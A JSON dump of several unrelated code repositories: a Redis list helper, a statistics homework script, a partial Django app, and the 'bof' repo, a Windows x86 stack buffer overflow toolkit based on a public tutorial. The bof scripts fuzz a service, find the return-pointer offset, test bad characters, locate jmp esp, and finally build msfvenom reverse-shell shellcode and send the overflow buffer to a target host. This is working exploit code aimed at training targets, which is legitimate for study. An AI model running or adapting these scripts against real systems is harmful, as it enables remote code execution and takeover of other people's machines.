[ { "alpha_fraction": 0.7744680643081665, "alphanum_fraction": 0.7744680643081665, "avg_line_length": 17, "blob_id": "4f40b7ca03fd7c7a1f71f0ee39877290cd1b26fc", "content_id": "6f2d48b9bfb009d9782773e25168940fc3037cb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 435, "license_type": "no_license", "max_line_length": 40, "num_lines": 13, "path": "/README.md", "repo_name": "sholong/utils_script", "src_encoding": "GB18030", "text": "# utils_script\n\n## redis_list_operate.py\n\n**对redis列表的操作**\n```\nlpush: 列表存在则直接在最左边添加一条data,不存在则新建一个,然后追加\nlpush: 列表存在则直接在最右边添加一条data,不存在则新建一个,然后追加\nllen: 获取列表中元素个数\nltrim: 截断列表只保留size个元素\ndelete: 删除该条记录\nlrange: 从左到右获取[start: stop]之间的元素\n```\n\n" }, { "alpha_fraction": 0.6245513558387756, "alphanum_fraction": 0.6367552280426025, "avg_line_length": 26.235294342041016, "blob_id": "8cd11fd64e06bdd29374e95f55dba0d7080f0af5", "content_id": "7c1b95df6e4165fdc5a122105245e63ab2c4f1ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1537, "license_type": "no_license", "max_line_length": 81, "num_lines": 51, "path": "/redis_list_operate.py", "repo_name": "sholong/utils_script", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\n\nfrom redis import Redis\n\n# Redis列表的边界下标\nLEFTMOST = 0\nRIGHTMOST = -1\n\n\nclass RedisListSecondPack:\n\n def __init__(self, name, client=Redis()):\n self.name = name\n self.client = client\n\n def left_append(self, content):\n # 从列表最左边追加value\n return self.client.lpush(self.name, content)\n\n def right_append(self, content):\n # 从列表最右边追加value\n return self.client.rpush(self.name, content)\n\n def read(self, start=LEFTMOST, stop=RIGHTMOST):\n # 获取裂变[start: stop]之间数据,默认状态下获取所有\n return self.client.lrange(self.name, start, stop)\n\n def length(self):\n # 获取列表长度\n return self.client.llen(self.name)\n\n def clear(self):\n # 因为del是Python的保留字\n # 所以redis-py用delete代替del命令\n self.client.delete(self.name)\n\n def keep(self, size):\n # 只保留列表范围内的条目\n self.client.ltrim(self.name, LEFTMOST, size-1)\n\n\nif __name__ == '__main__':\n import json\n client = Redis(host='localhost', port=6379, db=0)\n list_operate_client = RedisListSecondPack('SHOWPAYBIZ000001', client)\n for x in range(4):\n list_operate_client.left_append(json.dumps({'a': 'my %s data' % str(x)}))\n print list_operate_client.read(), list_operate_client.length()\n list_operate_client.keep(3)\n print list_operate_client.read(), list_operate_client.length()\n list_operate_client.clear()\n\n\n\n\n" } ]
2
Maheerr2707/C-111HW
https://github.com/Maheerr2707/C-111HW
779bc4236e1e2726d3f1dcbbd32282c8a8fa7cc5
9e21c2d5beeddaf1d2eb438d85d6dd50e5660b8f
1bfb03e70c8d36165f7cfc4c0baa2f93b6ed3581
refs/heads/main
2023-07-01T19:34:29.000903
2021-08-02T16:07:11
2021-08-02T16:07:11
391,393,654
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6490222811698914, "alphanum_fraction": 0.6770060658454895, "avg_line_length": 37.54666519165039, "blob_id": "ae699711d7aefcb2d3af4b6c72013f816f5b5e9a", "content_id": "f43b4170ebbdfd3725774667574e27162a8b445d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2966, "license_type": "no_license", "max_line_length": 125, "num_lines": 75, "path": "/mean.py", "repo_name": "Maheerr2707/C-111HW", "src_encoding": "UTF-8", "text": "import plotly.figure_factory as ff\r\nimport pandas as pd\r\nimport csv\r\nimport statistics\r\nimport random\r\nimport plotly.graph_objects as go\r\n\r\ndf = pd.read_csv(\"StudentsPerformance.csv\")\r\ndata = df[\"mathscore\"].tolist()\r\n\"\"\" fig = ff.create_distplot([data], [\"Math Scores\"], show_hist=False)\r\nfig.show() \"\"\"\r\n\r\nP_mean = statistics.mean(data)\r\nP_stdev = statistics.stdev(data)\r\n\r\nprint(\"Mean of the Population: \", P_mean)\r\nprint(\"Standard Deviation of the Population: \", P_stdev)\r\n\r\ndef randomSetOfMeans(counter):\r\n dataSet = []\r\n for i in range (0, counter):\r\n randomIndex = random.randint(0, len(data) - 1)\r\n value = data[randomIndex]\r\n dataSet.append(value)\r\n \r\n mean = statistics.mean(dataSet)\r\n return(mean)\r\n\r\nmeanList = []\r\nfor i in range (0,100):\r\n setOfMeans = randomSetOfMeans(30)\r\n meanList.append(setOfMeans)\r\n\r\nS_mean = statistics.mean(meanList)\r\nS_stdev = statistics.stdev(meanList)\r\n\r\nprint(\"Mean of the Sample: \", S_mean)\r\nprint(\"Standard Deviation of the Sample: \", S_stdev)\r\n\r\nfirst_stdev_start, first_stdev_end = P_mean - P_stdev, P_mean + P_stdev\r\nsecond_stdev_start, second_stdev_end = P_mean - (2*P_stdev), P_mean + (2*P_stdev)\r\nthird_stdev_start, third_stdev_end = P_mean - (3*P_stdev), P_mean + (3*P_stdev)\r\n\r\nfig = ff.create_distplot([meanList], [\"Math Scores\"], show_hist=False)\r\nfig.add_trace(go.Scatter(x=[P_mean, P_mean], y=[0, 0.17], mode=\"lines\", name=\"MEAN\"))\r\nfig.add_trace(go.Scatter(x=[first_stdev_start, first_stdev_start], y=[0, 0.17], mode=\"lines\", name=\"STANDARD DEVIATION 1\"))\r\nfig.add_trace(go.Scatter(x=[first_stdev_end, first_stdev_end], y=[0, 0.17], mode=\"lines\", name=\"STANDARD DEVIATION 1\"))\r\nfig.add_trace(go.Scatter(x=[second_stdev_start, second_stdev_start], y=[0, 0.17], mode=\"lines\", name=\"STANDARD DEVIATION 2\"))\r\nfig.add_trace(go.Scatter(x=[second_stdev_end, second_stdev_end], y=[0, 0.17], mode=\"lines\", name=\"STANDARD DEVIATION 2\"))\r\nfig.add_trace(go.Scatter(x=[third_stdev_start, third_stdev_start], y=[0, 0.17], mode=\"lines\", name=\"STANDARD DEVIATION 3\"))\r\nfig.add_trace(go.Scatter(x=[third_stdev_end, third_stdev_end], y=[0, 0.17], mode=\"lines\", name=\"STANDARD DEVIATION 3\")) \r\n\r\n#First Intervention Data Analyzation\r\n\r\ndf_1 = pd.read_csv(\"Inter1.csv\")\r\ndata_1 = df_1[\"mathscore\"].tolist()\r\nmeanOfSample1 = statistics.mean(data_1)\r\nprint(\"Mean of Sample 1: \", meanOfSample1)\r\nfig.add_trace(go.Scatter(x=[meanOfSample1, meanOfSample1], y=[0, 0.17], mode=\"lines\", name=\"Mean of Sample 1\"))\r\n\r\n#Third Intervention Data Analyzation\r\n\r\ndf_3 = pd.read_csv(\"Inter3.csv\")\r\ndata_3 = df_3[\"mathscore\"].tolist()\r\nmeanOfSample3 = statistics.mean(data_3)\r\nprint(\"Mean of Sample 3: \", meanOfSample3)\r\nfig.add_trace(go.Scatter(x=[meanOfSample3, meanOfSample3], y=[0, 0.17], mode=\"lines\", name=\"Mean of Sample 3\"))\r\n\r\nfig.show()\r\n\r\n#Z-Score\r\nZScore = (meanOfSample1-P_mean)/P_stdev\r\nprint(\"Z-Score 1: \", ZScore)\r\nZScore3 = (meanOfSample3-P_mean)/P_stdev\r\nprint(\"Z-Score 3: \", ZScore3)\r\n" } ]
1
yokel72/bof
https://github.com/yokel72/bof
f237014ec1e639d702c4ba0617a0906b5bcff422
fb7a8c46b1fcb924b9059b200a4cbf0f9931b390
98352ccd4984c9dc0f8c001ab7b465d6c3a0292c
refs/heads/master
2020-04-27T20:29:31.315000
2019-03-18T13:25:48
2019-03-18T13:25:48
174,660,001
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6628470420837402, "alphanum_fraction": 0.6694579124450684, "avg_line_length": 30.51388931274414, "blob_id": "f7abf633c0f1d8599dce541735bbc04918290bc6", "content_id": "0d6387ab91f7f29dfb8200c71fd2c3b05a28a1ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2269, "license_type": "no_license", "max_line_length": 172, "num_lines": 72, "path": "/7_reverse_shell.py", "repo_name": "yokel72/bof", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# Windows x86 reverse shell stack buffer overflow\n# Saved Return Pointer overwrite exploit.\n# Parameters are saved in params.py for persistence.\n# Delete params.py and params.pyc to reset them; or simply edit params.py\n#\n# Written by y0k3L\n# Credit to Justin Steven and his 'dostackbufferoverflowgood' tutorial\n# https://github.com/justinsteven/dostackbufferoverflowgood\n\nimport struct, functions, subprocess\n\n# get parameters\nRHOST = functions.getRhost()\nRPORT = functions.getRport()\nbuf_totlen = functions.getBufTotlen()\noffset_srp = functions.getOffsetSrp()\nptr_jmp_esp = functions.getPtrJmpEsp()\nLHOST = functions.getLhost()\nLPORT = functions.getLport()\n\nprint \"RHOST=%s; RPORT=%s; buf_totlen=%s; offset_srp=%s; ptr_jmp_esp=%s\" % (RHOST, RPORT, buf_totlen, offset_srp, hex(ptr_jmp_esp))\n\n# instead of using NOPs, drag ESP up the stack to avoid GetPC issues\n# note: when modifying ESP, always ensure that it remains divisible by 4\nsub_esp_10 = \"\\x83\\xec\\x10\"\n\nLHOSTstr = \"LHOST=\" + LHOST\nLPORTstr = \"LPORT=\" + str(LPORT)\n\n# import shellcode from shellcode.py; or create shellcode if not exists\ntry:\n import shellcode\n print \"shellcode.py already exists - using that shellcode...\"\nexcept:\n badchars = [struct.pack(\"B\", x).encode(\"hex\") for x in functions.getBadChars()]\n # print badchars\n for x in range(0, len(badchars)):\n badchars[x] = '\\\\x' + badchars[x]\n # print a[x]\n # print badchars\n\n badcharsstr = \"'\" + ''.join(badchars) + \"'\"\n print \"badcharsstr =\", badcharsstr\n\n cmd = [\"msfvenom\", \"-p\", \"windows/shell_reverse_tcp\", LHOSTstr, LPORTstr, \"EXITFUNC=thread\", \"-v\", \"shellcode\", \"-b\", badcharsstr, \"-f\", \"python\", \"-o\", \"shellcode.py\"]\n\n print ' '.join(cmd)\n\n try:\n subprocess.check_output(cmd)\n import shellcode\n\n except:\n print \"Error generating shellcode :(\"\n exit()\n\nbuf = \"\"\nbuf += \"A\" * (offset_srp - len(buf)) # padding\nbuf += struct.pack(\"<I\", ptr_jmp_esp) # SRP overwrite\nbuf += sub_esp_10 # ESP points here\nbuf += shellcode.shellcode\nbuf += \"D\" * (buf_totlen - len(buf)) # trailing padding\nbuf += \"\\n\"\n\n# print buf.encode(\"hex\")\n\nsent = functions.sendBuffer(RHOST, RPORT, buf)\n\nif sent is 0:\n print \"Caught reverse shell?\"\n" }, { "alpha_fraction": 0.658088207244873, "alphanum_fraction": 0.6711229681968689, "avg_line_length": 36.400001525878906, "blob_id": "8c85acd59a59d0e8ff2589d637479d0491254a9a", "content_id": "210514d399f9a2144776cd42f4817e198742af3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2992, "license_type": "no_license", "max_line_length": 125, "num_lines": 80, "path": "/4_test_badchars.py", "repo_name": "yokel72/bof", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# Used to test bad characters as part of the process in developing a\n# Windows x86 reverse shell stack buffer overflow\n# Saved Return Pointer overwrite exploit.\n# Parameters are saved in params.py for persistence.\n# Delete params.py and params.pyc to reset them; or simply edit params.py\n#\n# Written by y0k3L\n# Credit to Justin Steven and his 'dostackbufferoverflowgood' tutorial\n# https://github.com/justinsteven/dostackbufferoverflowgood\n\nimport functions, argparse\n\n# get parameters\nRHOST = functions.getRhost()\nRPORT = functions.getRport()\nbuf_totlen = functions.getBufTotlen()\noffset_srp = functions.getOffsetSrp()\n\nprint \"RHOST=%s; RPORT=%s; buf_totlen=%s; offset_srp=%s\" % (RHOST, RPORT, buf_totlen, offset_srp)\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-b\", help=\"Bad characters in hex format, no spaces, eg. 0x0A,0x7B\", dest='additional_bchars', nargs='+')\n\nargs = parser.parse_args()\n\nprint \"Additional bad chars =\", str(args.additional_bchars)\n\nbadchar_test = \"\" # start with an empty string\nbadchars = [0x00, 0x0A] # we've reasoned that these are definitely bad\n\nif args.additional_bchars is not None:\n\n extras = args.additional_bchars[0].split(\",\") # split out by comma delimeter\n\n for i in range(0, len(extras)):\n extras[i] = int(extras[i], 16) # convert from str to hex int\n badchars.append(extras[i]) # append bad char to badchars list\n\n # remove any duplicates\n badchars = list(dict.fromkeys(badchars))\n\nprint \"badchars =\", [hex(x) for x in badchars]\n\n# TODO check to see if badchars already exists...\nfunctions.writeParamToFile(\"badchars\", badchars)\n\n# generate the string\nfor i in range(0x00, 0xFF+1): # range(0x00, 0xFF) only returns up to 0xFE\n if i not in badchars: # skip the badchars\n badchar_test += chr(i) # append each non-badchar to the string\n\ntry:\n # open a file for writing (\"w\") the string as binary (\"b\") data\n with open(\"badchar_test.bin\", \"wb\") as f:\n f.write(badchar_test)\nexcept:\n print \"Error when writing to file. Quitting...\"\n quit()\n\nbuf = \"\"\nbuf += \"A\" * (offset_srp - len(buf)) # padding\nbuf += \"BBBB\" # SRP overwrite\nbuf += badchar_test # ESP points here\nbuf += \"D\" * (buf_totlen - len(buf)) # trailing padding\nbuf += \"\\n\"\n\n# print buf\n\nsent = functions.sendBuffer(RHOST, RPORT, buf)\n\nif sent is 0:\n print \"\\nSet up mona byte array as follows:\"\n print \"!mona bytearray -cpb \\\"\\\\x00\\\\x0a<other bad chars>\\\"\\n\"\n print \"Use \\\"!mona cmp -a esp -f C:\\\\path\\\\bytearray.bin\\\" to check bad chars.\"\n print \"Then run \\\"!mona jmp -r esp -cpb \\\"\\\\x00\\\\x0a<other bad chars>\\\" to search for \\\"jmp esp\\\" memory addresses.\"\n print \"\\nAlso try \\\"!mona modules\\\" to find an unprotected module, followed by\"\n print \"\\\"!mona find -s \\\"\\\\xff\\\\xe4\\\" -cpb \\\"\\\\x00\\\\x0a<other bad chars>\\\" -m <module_name>\\\"\"\n print \"\\nEnter discovered jmp esp (or \\\\xff\\\\xe4) memory address at next step.\"\n" }, { "alpha_fraction": 0.6605634093284607, "alphanum_fraction": 0.6732394099235535, "avg_line_length": 23.482759475708008, "blob_id": "7d2cebb3bf9366307762dccbdb1a8057c71218c5", "content_id": "73610547e929f35a1d73f7df03a5bc89914f128f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 710, "license_type": "no_license", "max_line_length": 114, "num_lines": 29, "path": "/1_trigger_bug.py", "repo_name": "yokel72/bof", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport socket, argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"RHOST\", help=\"Remote host IP\")\nparser.add_argument(\"RPORT\", help=\"Remote host port\", type=int)\nparser.add_argument(\"-l\", help=\"Max buffer length in bytes; default 1024\", type=int, default=1024, dest='buf_len')\n\nargs = parser.parse_args()\n\nbuf = \"A\" * args.buf_len + \"\\n\"\n\nprint buf\n\nprint \"Attempting to connect to service...\"\n\ntry:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(5)\n s.connect((args.RHOST, args.RPORT))\n\n print \"Sending %s A's...\" % args.buf_len\n s.send(buf)\n\n print \"%s A's sent.\" % args.buf_len\n\nexcept:\n print \"Error connecting to service...\"\n" }, { "alpha_fraction": 0.5931257009506226, "alphanum_fraction": 0.6023630499839783, "avg_line_length": 28.276729583740234, "blob_id": "326dd2052503444e49778052fb675eff35e7f8be", "content_id": "ff2fea57e0d8e7d5f83cf898b98bbd3b164e34cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4655, "license_type": "no_license", "max_line_length": 106, "num_lines": 159, "path": "/functions.py", "repo_name": "yokel72/bof", "src_encoding": "UTF-8", "text": "# Functions supporting a Windows x86 reverse shell stack buffer overflow\n# Saved Return Pointer overwrite exploit.\n# Parameters are saved in params.py for persistence.\n# Delete params.py and params.pyc to reset them; or simply edit params.py\n#\n# Written by y0k3L\n# Credit to Justin Steven and his 'dostackbufferoverflowgood' tutorial\n# https://github.com/justinsteven/dostackbufferoverflowgood\n\nimport socket, struct\n\n# import params from params.py; or create an empty file if not exists\ntry:\n import params\nexcept:\n open('params.py', 'a').close()\n print \"params.py created for parameter persistence.\"\n\n# write parameter to file for persistence\ndef writeParamToFile(param_name, param_value):\n with open(\"params.py\", \"a\") as f:\n f.write(\"%s = %s\\n\" % (param_name, param_value))\n\n# return remote host (target) IP address\ndef getRhost():\n try:\n return params.RHOST\n except:\n RHOST = raw_input(\"RHOST: \")\n writeParamToFile(\"RHOST\", '\\\"' + RHOST + '\\\"')\n return RHOST\n\n# return remote host (target) port\ndef getRport():\n try:\n return params.RPORT\n except:\n RPORT = raw_input(\"RPORT: \")\n writeParamToFile(\"RPORT\", RPORT)\n return int(RPORT)\n\n# return local host (listening) IP address\ndef getLhost():\n try:\n return params.LHOST\n except:\n LHOST = raw_input(\"LHOST: \")\n writeParamToFile(\"LHOST\", '\\\"' + LHOST + '\\\"')\n return LHOST\n\n# return local host (listening) port\ndef getLport():\n try:\n return params.LPORT\n except:\n LPORT = raw_input(\"LPORT: \")\n writeParamToFile(\"LPORT\", LPORT)\n return int(LPORT)\n\n# return max buffer length\ndef getBufTotlen():\n try:\n return params.buf_totlen\n except:\n buf_totlen = raw_input(\"Max buffer length: \")\n writeParamToFile(\"buf_totlen\", buf_totlen)\n return int(buf_totlen)\n\n# return Saved Return Pointer offset\ndef getOffsetSrp():\n try:\n return params.offset_srp\n except:\n offset_srp = raw_input(\"offset_srp: \")\n writeParamToFile(\"offset_srp\", offset_srp)\n return int(offset_srp)\n\n# return pointer address to jmp esp\ndef getPtrJmpEsp():\n try:\n return params.ptr_jmp_esp\n except:\n ptr_jmp_esp = raw_input(\"ptr_jmp_esp: \")\n writeParamToFile(\"ptr_jmp_esp\", ptr_jmp_esp)\n return int(ptr_jmp_esp, 16)\n\n# return bad characters\ndef getBadChars():\n try:\n # return [hex(x) for x in params.badchars]\n return params.badchars\n except:\n input = raw_input(\"Enter bad characters in hex format, no spaces, eg. 0x0A,0x7B: \")\n input = input.split(\",\") # split out by comma delimeter\n\n badchars = []\n\n for i in range(0, len(input)):\n input[i] = int(input[i], 16) # convert from str to hex int\n badchars.append(input[i]) # append bad char to badchars list\n\n # remove any duplicates\n badchars = list(dict.fromkeys(badchars))\n\n # writeParamToFile(\"badchars\", '\\\"' + badchars + '\\\"')\n writeParamToFile(\"badchars\", badchars)\n return badchars\n\n# connect to remote host (target) and send buffer\n# return 0 for success; return 1 for failure\ndef sendBuffer(RHOST, RPORT, buf):\n print \"Attempting to connect to service...\"\n\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(5)\n s.connect((RHOST, RPORT))\n\n print \"Sending buffer...\"\n # this part may need to be modified depending on which command is vulnerable in the target service\n s.send(buf)\n s.close()\n\n print \"Buffer sent.\"\n\n return 0\n\n except:\n print \"Error connecting to service...\"\n\n return 1\n\n# return unique pattern of desired length\ndef pattern_create(length):\n pattern = ''\n parts = ['A', 'a', '0']\n while len(pattern) != length:\n pattern += parts[len(pattern) % 3]\n if len(pattern) % 3 == 0:\n parts[2] = chr(ord(parts[2]) + 1)\n if parts[2] > '9':\n parts[2] = '0'\n parts[1] = chr(ord(parts[1]) + 1)\n if parts[1] > 'z':\n parts[1] = 'a'\n parts[0] = chr(ord(parts[0]) + 1)\n if parts[0] > 'Z':\n parts[0] = 'A'\n return pattern\n\n# return pattern offset given a unique pattern and value to search for\ndef pattern_offset(value, pattern):\n value = struct.pack('<I', int(value, 16)).strip('\\x00')\n print \"value =\", value\n try:\n return pattern.index(value)\n except ValueError:\n print \"Pattern not found...\"\n return \"Not found\"\n" }, { "alpha_fraction": 0.7233888506889343, "alphanum_fraction": 0.7270094156265259, "avg_line_length": 35.342105865478516, "blob_id": "d5e528e362fdaeaec92967931d34278059a37106", "content_id": "b86c48e27daf081d70908955d583dcc7e946cc41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1381, "license_type": "no_license", "max_line_length": 114, "num_lines": 38, "path": "/2_discover_offset.py", "repo_name": "yokel72/bof", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# Generates and sends a unique pattern to a service as part of the process in\n# developing a Windows x86 reverse shell stack buffer overflow\n# Saved Return Pointer overwrite exploit.\n# Parameters are saved in params.py for persistence.\n# Delete params.py and params.pyc to reset them; or simply edit params.py\n#\n# Written by y0k3L\n# Credit to Justin Steven and his 'dostackbufferoverflowgood' tutorial\n# https://github.com/justinsteven/dostackbufferoverflowgood\n\nimport functions\n\n# get parameters\nRHOST = functions.getRhost()\nRPORT = functions.getRport()\nbuf_totlen = functions.getBufTotlen()\n\nprint \"RHOST=%s; RPORT=%s; buf_totlen=%s\" % (RHOST, RPORT, buf_totlen)\n\npattern = functions.pattern_create(buf_totlen)\npattern += '\\n'\nprint pattern\n\nsent = functions.sendBuffer(RHOST, RPORT, pattern)\n\nif sent is 0:\n print \"EIP should now be overwritten.\"\n eip_value = raw_input(\"EIP value: \")\n offset_srp = functions.pattern_offset(eip_value, pattern)\n print \"offset_srp =\", offset_srp\n if \"offset_srp\" in open(\"params.py\", \"r\").read() and offset_srp != functions.getOffsetSrp():\n print \"Something went wrong...offset_srp is already defined in params.py as %s\" % functions.getOffsetSrp()\n elif isinstance(offset_srp, int):\n functions.writeParamToFile(\"offset_srp\", offset_srp)\n else:\n print \"Error: offset could not be found.\"\n" }, { "alpha_fraction": 0.7093877792358398, "alphanum_fraction": 0.713469386100769, "avg_line_length": 33.02777862548828, "blob_id": "c9540015fa68e995d45a4cb04b26ba833e72937c", "content_id": "2570d8cc8b3bde26dbe5bf926428bc26929e802a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1225, "license_type": "no_license", "max_line_length": 131, "num_lines": 36, "path": "/5_jmp_esp_interrupt.py", "repo_name": "yokel72/bof", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# Uses a software interrupt to test the jmp esp functionality as part of the\n# process in developing a Windows x86 reverse shell stack buffer overflow\n# Saved Return Pointer overwrite exploit.\n# Parameters are saved in params.py for persistence.\n# Delete params.py and params.pyc to reset them; or simply edit params.py\n#\n# Written by y0k3L\n# Credit to Justin Steven and his 'dostackbufferoverflowgood' tutorial\n# https://github.com/justinsteven/dostackbufferoverflowgood\n\nimport struct, functions\n\n# get parameters\nRHOST = functions.getRhost()\nRPORT = functions.getRport()\nbuf_totlen = functions.getBufTotlen()\noffset_srp = functions.getOffsetSrp()\nptr_jmp_esp = functions.getPtrJmpEsp()\n\nprint \"RHOST=%s; RPORT=%s; buf_totlen=%s; offset_srp=%s; ptr_jmp_esp=%s\" % (RHOST, RPORT, buf_totlen, offset_srp, hex(ptr_jmp_esp))\n\nbuf = \"\"\nbuf += \"A\" * (offset_srp - len(buf)) # padding\nbuf += struct.pack(\"<I\", ptr_jmp_esp) # SRP overwrite. Converts to little endian\nbuf += \"\\xCC\\xCC\\xCC\\xCC\" # ESP points here\nbuf += \"D\" * (buf_totlen - len(buf)) # trailing padding\nbuf += \"\\n\"\n\n# print buf\n\nsent = functions.sendBuffer(RHOST, RPORT, buf)\n\nif sent is 0:\n print \"Caught software interrupt?\"\n" }, { "alpha_fraction": 0.5858123302459717, "alphanum_fraction": 0.6144164800643921, "avg_line_length": 27.19354820251465, "blob_id": "e46d8af1bb02d874f3321ae50bbb17308b428029", "content_id": "9c96f37cccf34fdd8882ca6c0f1d22630cb70d54", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 874, "license_type": "no_license", "max_line_length": 121, "num_lines": 31, "path": "/fuzzer.py", "repo_name": "yokel72/bof", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport socket, argparse, time\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"RHOST\", help=\"Remote host IP\")\nparser.add_argument(\"RPORT\", help=\"Remote host port\", type=int)\nparser.add_argument(\"-l\", help=\"Max number of bytes to send; default 1000\", type=int, default=1000, dest='max_num_bytes')\n\nargs = parser.parse_args()\n\nfor i in range(100, args.max_num_bytes+1, 100):\n buf = \"A\" * i\n print \"Fuzzing service with %s bytes\" % i\n\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(5)\n s.connect((args.RHOST, args.RPORT))\n\n s.send(buf + '\\n')\n s.recv(1024)\n s.close()\n\n time.sleep(0.5)\n\n except:\n print \"Error connecting to service...\"\n if len(buf) > 100:\n print \"Crash occurred with buffer length: \" + str(len(buf))\n exit()\n" }, { "alpha_fraction": 0.6779295206069946, "alphanum_fraction": 0.692307710647583, "avg_line_length": 33.775001525878906, "blob_id": "040edba619b80ead89e81b3cab00a471d25abe1e", "content_id": "fdcb1b1e5e78a230a1831d80df8e84177b65fd13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1391, "license_type": "no_license", "max_line_length": 97, "num_lines": 40, "path": "/3_confirm_offset.py", "repo_name": "yokel72/bof", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# Used to confirm that the suspected offset is indeed correct. This is part of\n# the process in developing a Windows x86 reverse shell stack buffer overflow\n# Saved Return Pointer overwrite exploit.\n# Parameters are saved in params.py for persistence.\n# Delete params.py and params.pyc to reset them; or simply edit params.py\n#\n# Written by y0k3L\n# Credit to Justin Steven and his 'dostackbufferoverflowgood' tutorial\n# https://github.com/justinsteven/dostackbufferoverflowgood\n\nimport functions, os\n\n# get parameters\nRHOST = functions.getRhost()\nRPORT = functions.getRport()\nbuf_totlen = functions.getBufTotlen()\noffset_srp = functions.getOffsetSrp()\n\nif offset_srp > buf_totlen-300:\n print \"Warning: offset is close to max buffer length. Recommend increasing \"\n print \"max buffer length (buf_totlen)\"\n\nprint \"RHOST=%s; RPORT=%s; buf_totlen=%s; offset_srp=%s\" % (RHOST, RPORT, buf_totlen, offset_srp)\n\nbuf = \"\"\nbuf += \"A\" * (offset_srp - len(buf)) # padding\nbuf += \"BBBB\" # SRP overwrite\nbuf += \"CCCC\" # ESP should end up pointing here\nbuf += \"D\" * (buf_totlen - len(buf)) # trailing padding\nbuf += \"\\n\"\n\n# print buf\n\nsent = functions.sendBuffer(RHOST, RPORT, buf)\n\nif sent is 0:\n print \"Confirm that EBP is all 0x41's, EIP is all 0x42's, and ESP points \"\n print \"to four 0x43's followed by many 0x44's\"\n" }, { "alpha_fraction": 0.8072625994682312, "alphanum_fraction": 0.8184357285499573, "avg_line_length": 31.545454025268555, "blob_id": "fbf90ac47e7ce0596b094718e8c175620d2cf865", "content_id": "9ff7a5bd8e8447f0eef6e472258cfe91c139986d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 358, "license_type": "no_license", "max_line_length": 87, "num_lines": 11, "path": "/README.md", "repo_name": "yokel72/bof", "src_encoding": "UTF-8", "text": "# bof\n\nWindows x86 reverse shell stack buffer overflow Saved Return Pointer overwrite exploit.\nParameters are saved in params.py for persistence.\n\nDelete params.py and params.pyc to reset them; or simply edit params.py\n\nWritten by y0k3L\n\nCredit to Justin Steven and his 'dostackbufferoverflowgood' tutorial\nhttps://github.com/justinsteven/dostackbufferoverflowgood\n" } ]
9
ADS2-20162/A-Soft
https://github.com/ADS2-20162/A-Soft
5bc23a30eff95833fbc9c7faf1da993aceae34fa
e984e5603360a9bc51affada0a89855f292f21e9
438eeba39a17706bc56443579cf61c3476f3519f
refs/heads/master
2021-01-14T14:28:53.070892
2016-12-02T14:02:23
2016-12-02T14:02:23
66,006,527
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7031700015068054, "alphanum_fraction": 0.7031700015068054, "avg_line_length": 30.545454025268555, "blob_id": "538c22ccdbc93a3ff6400437f1e83192959a1c1e", "content_id": "069d74faa73580e38ef7529f6223675dbc34e771", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 694, "license_type": "no_license", "max_line_length": 67, "num_lines": 22, "path": "/americas_service/americas_service_apps/asociacion_api/views/manzana.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework import viewsets\nfrom django.db.models import Q\nfrom operator import __or__ as OR\nfrom functools import reduce\n\nfrom ..serializers.manzana import ManzanaSerializer\nfrom americas_service_apps.asociacion.models.manzana import Manzana\n\n\nclass ManzanaViewSet(viewsets.ModelViewSet):\n \"\"\"\n Description: Model Description\n \"\"\"\n queryset = Manzana.objects.all()\n serializer_class = ManzanaSerializer\n\n def get_queryset(self):\n query = self.request.query_params.get('query', '')\n queryall = (Q(id__icontains=query),\n Q(manzana__icontains=query))\n queryset = self.queryset.filter(reduce(OR, queryall))\n return queryset\n" }, { "alpha_fraction": 0.7652733325958252, "alphanum_fraction": 0.7652733325958252, "avg_line_length": 30.100000381469727, "blob_id": "2cb01819a9a05ad22c9e5d7137ef8f122bf9443b", "content_id": "dc86e4dceb67cbc14d7dc76168c21d7f092f1d2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 311, "license_type": "no_license", "max_line_length": 72, "num_lines": 10, "path": "/americas_service/americas_service_apps/asociacion_api/serializers/socio_lote.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework import serializers\nfrom americas_service_apps.asociacion.models.socio_lote import SocioLote\n# from americas_service_apps.auths.choices.enums import GENDER_CHOICES\n\n\nclass SocioLoteSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = SocioLote\n fields = '__all__'\n" }, { "alpha_fraction": 0.647519588470459, "alphanum_fraction": 0.647519588470459, "avg_line_length": 26.35714340209961, "blob_id": "a0a2d65777a4514e73136f42038b5cd8695d07ee", "content_id": 